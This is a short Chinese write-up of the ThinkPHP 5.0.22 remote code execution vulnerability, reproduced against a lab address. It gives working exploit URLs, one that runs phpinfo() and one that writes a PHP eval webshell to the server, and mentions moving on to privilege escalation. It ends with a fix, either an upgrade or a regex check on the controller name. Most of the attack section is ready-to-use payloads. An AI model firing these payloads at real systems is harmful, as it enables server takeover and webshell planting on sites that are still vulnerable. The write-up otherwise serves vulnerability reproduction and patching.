thinkPHP是一个国产PHP框架,十年磨一剑 ,用户使用量也相当多。近年thinkPHP多个版本都出现了REC漏洞,网站默认情况下,攻击者容易Getshell。通过漏洞获取服务器控制权。
其中一个版本thinkPHP5.0.22,存在远程代码执行漏洞RCE,由于控制器名没有加以控制,过滤。
环境http://172.16.1.9/web01/public
漏洞复现POC:执行phpinfo()出现以下界面
public/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1%20and%20it%27ll%20execute%20the%20phpinfo
写入一句话木马 :
public/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=xiaolan.php&vars[1][]=%3C%3F%70%68%70%20%65%76%61%6C%28%24%5F%50%4F%53%54%5B%27%78%69%61%6F%6C%61%6E%27%5D%29%3B%3F%3E
后面被URL编码,实际是:
<?php eval($_POST['xiaolan']);?>
获取网站服务器控制权:权限低,想取得更大成果,需要结合系统漏洞,进行本地提权。
修复方法:
1、升级版本。
2、手动修复,think\App类的module方法的获取控制器的代码后面加上:
if (!preg_match('/^[A-Za-z](\w|\.)*$/', $controller)) {
throw new HttpException(404, 'controller not exists:' . $controller);
修复后,再次测试,发现不能getshell。页面返回错误404。